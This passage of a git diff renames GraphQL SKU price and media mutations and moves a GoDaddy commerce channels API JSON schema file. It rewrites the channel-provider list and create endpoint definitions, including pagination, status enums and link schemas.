- "name": "updateSkuPrice", + "name": "updateSkuMediaObjects", "kind": "mutation", - "returnType": "SKUPrice", - "description": "Update an existing price object.", + "returnType": "SKU", + "description": "Add media objects or update existing media objects to existing SKU.", "deprecated": false, "args": [ { @@ -3463,18 +3464,17 @@ }, { "name": "input", - "type": "MutationUpdateSkuPriceInput!", + "type": "MutationUpdateSkuMediaObjectsInput!", "required": true } ] }, { - "name": "updateSKUPrice", + "name": "updateSkuPrice", "kind": "mutation", "returnType": "SKUPrice", "description": "Update an existing price object.", - "deprecated": true, - "deprecationReason": "Use `updateSkuPrice` instead.", + "deprecated": false, "args": [ { "name": "id", @@ -3483,7 +3483,7 @@ }, { "name": "input", - "type": "MutationUpdateSKUPriceInput!", + "type": "MutationUpdateSkuPriceInput!", "required": true } ] diff --git a/src/cli/schemas/api/channels.json b/rust/schemas/api/channels.json similarity index 78% rename from src/cli/schemas/api/channels.json rename to rust/schemas/api/channels.json index 7042144..4b41d6e 100644 --- a/src/cli/schemas/api/channels.json +++ b/rust/schemas/api/channels.json @@ -6,3117 +6,3932 @@ "baseUrl": "https://api.godaddy.com/v1/commerce", "endpoints": [ { - "operationId": "createChannel", - "method": "POST", - "path": "/channels", - "summary": "Create a new channel", - "requestBody": { - "required": false, - "contentType": "application/json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "type": "object", - "description": "Resource representing the Channel", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/retail-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Channel", - "type": "object", - "description": "Resource representing a Retail Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "operationId": "getChannelProviders", + "method": "GET", + "path": "/channel-providers", + "summary": "Get all channel providers", + "parameters": [ + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "maximum": 100, + "type": "integer" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "maximum": 100, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "200": { + "description": "Channel Providers", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider-list.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing list of Channel Providers", + "properties": { + "items": { + "description": "Array containing the current page of Channel Providers", + "items": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", + "description": "Resource representing the Channel Provider", "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "name": { + "description": "Name of the channel provider", + "maxLength": 128, + "type": "string" }, "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", + "default": "ACTIVE", + "description": "Channel Provider Status", "enum": [ - "PENDING_SETUP", "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" + "SUSPENDED", + "TERMINATED" ], - "default": "ACTIVE" + "title": "ChannelProviderStatus", + "type": "string" }, - "registeredStores": { - "description": "List of stores that are registered to this channel", + "supportedChannelTypes": { + "description": "Channel types supported by provider", "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] + "description": "ChannelType", + "enum": [ + "RETAIL", + "ONLINE", + "MOBILE", + "MARKETPLACE", + "SOCIAL", + "DEFAULT" + ], + "title": "ChannelType", + "type": "string" }, "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" } }, "required": [ "name" - ] - } - ], - "properties": { - "location": { - "description": "Location details of the retail channel", - "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Location", - "type": "object", - "$defs": { - "RetailLocationContact": { - "type": "object", - "title": "Retail Location Contact", - "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, - "phone": { - "description": "Phone number details", - "$id": "https://godaddy.com/schema/common/phone.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", - "properties": { - "countryCode": { - "type": "string", - "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" - }, - "extensionNumber": { - "type": "string", - "description": "The extension number.", - "minLength": 1, - "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" - } - }, - "required": [ - "countryCode", - "nationalNumber" - ] - } - } - } - }, - "properties": { - "alias": { - "type": "string", - "maxLength": 128, - "description": "Alias for the location" - }, - "address": { - "description": "Physical address of the retail location", - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - }, - "contacts": { - "type": "array", - "description": "Contact details of the location", - "items": { - "type": "object", - "title": "Retail Location Contact", - "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, - "phone": { - "description": "Phone number details", - "$id": "https://godaddy.com/schema/common/phone.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", - "properties": { - "countryCode": { - "type": "string", - "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" - }, - "extensionNumber": { - "type": "string", - "description": "The extension number.", - "minLength": 1, - "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" - } - }, - "required": [ - "countryCode", - "nationalNumber" - ] - } - } - } - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/online-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Online Channel", - "type": "object", - "description": "Resource representing the Online Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + ], + "title": "ChannelProvider", + "type": "object" + }, + "type": "array" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "submissionSchema": { + "description": "The schema that describes the request data." }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", - "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } - }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "targetSchema": { + "description": "The schema that describes the link target." }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "title": { + "description": "The link title.", + "type": "string" } }, "required": [ - "name" - ] - } - ] + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "totalItems": { + "description": "Total number of Channel Providers matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + }, + "totalPages": { + "description": "Total number of pages matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/mobile-channel.v1", + "title": "ChannelProviderList", + "type": "object" + } + } + }, + "scopes": [ + "commerce.channel-provider:read" + ] + }, + { + "operationId": "createChannelProvider", + "method": "POST", + "path": "/channel-providers", + "summary": "Create a new channel provider", + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Channel Provider", + "properties": { + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Mobile Channel", - "type": "object", - "description": "Resource representing the Mobile Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "name": { + "description": "Name of the channel provider", + "maxLength": 128, + "type": "string" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Provider Status", + "enum": [ + "ACTIVE", + "SUSPENDED", + "TERMINATED" + ], + "title": "ChannelProviderStatus", + "type": "string" + }, + "supportedChannelTypes": { + "description": "Channel types supported by provider", + "items": { + "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ChannelType", + "enum": [ + "RETAIL", + "ONLINE", + "MOBILE", + "MARKETPLACE", + "SOCIAL", + "DEFAULT" + ], + "title": "ChannelType", + "type": "string" + }, + "type": "array" + } + }, + "required": [ + "name" + ], + "title": "ChannelProvider", + "type": "object" + } + }, + "responses": { + "201": { + "description": "New resource created successfully", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Channel Provider", + "properties": { + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "name": { + "description": "Name of the channel provider", + "maxLength": 128, + "type": "string" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-provider-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Provider Status", + "enum": [ + "ACTIVE", + "SUSPENDED", + "TERMINATED" + ], + "title": "ChannelProviderStatus", + "type": "string" + }, + "supportedChannelTypes": { + "description": "Channel types supported by provider", + "items": { + "$id": "https://godaddy.com/schemas/commerce/channel-type.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "description": 